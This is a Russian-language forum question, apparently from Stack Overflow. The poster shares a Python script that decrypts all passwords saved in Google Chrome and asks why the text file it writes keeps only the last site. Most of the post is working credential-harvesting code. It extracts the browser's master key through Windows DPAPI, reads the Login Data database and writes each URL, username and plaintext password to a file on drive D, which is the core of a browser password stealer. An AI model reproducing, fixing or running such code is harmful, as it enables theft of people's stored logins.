Пароли google-chrome
Хочу отправить все данные на диск D в текстовом документе. Создаю документ, записываю.
with open ('D:\\google_pass.txt', 'w+') as f:
f.write(text)
В командной строке все данные сайтов отображаются , а в текстовом документе, который создался лежит только один сайт (последний). С чем это связано?
import os
import shutil
import base64
import sqlite3
import win32crypt
import re
from Cryptodome.Cipher import AES
Chrome_pass = os.getenv('LOCALAPPDATA') + r"\Google\Chrome\User Data\Default\Login Data"
Key = os.getenv('LOCALAPPDATA') + r"\Google\Chrome\User Data\Local State"
def Chrome():
if os.path.exists(Chrome_pass) == True:
with open (Key, 'r') as f:
matches = re.findall(r'"encrypted_key":"(.+?)"', f.read())
key = base64.b64decode(matches[0])[5:]
decryption_key2 = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
shutil.copy2(Chrome_pass, 'databasepass.db')
conn = sqlite3.connect('databasepass.db')
cursor = conn.cursor()
cursor.execute('SELECT origin_url, username_value, password_value FROM Logins')
show = cursor.fetchall()
for origin_url, username_value, password_value in show:
initialization_vector = password_value[3:15]
password = password_value[15:-16]
gsm = AES.new(decryption_key2, AES.MODE_GCM,initialization_vector)
decrypted_pass = gsm.decrypt(password)
paass = decrypted_pass.decode()
text = origin_url + '\n' + username_value + '\n' + paass + '\n'
print(text)
with open ('D:\\google_pass.txt', 'w+') as f:
f.write(text)
Chrome()
Источник: Stack Overflow на русском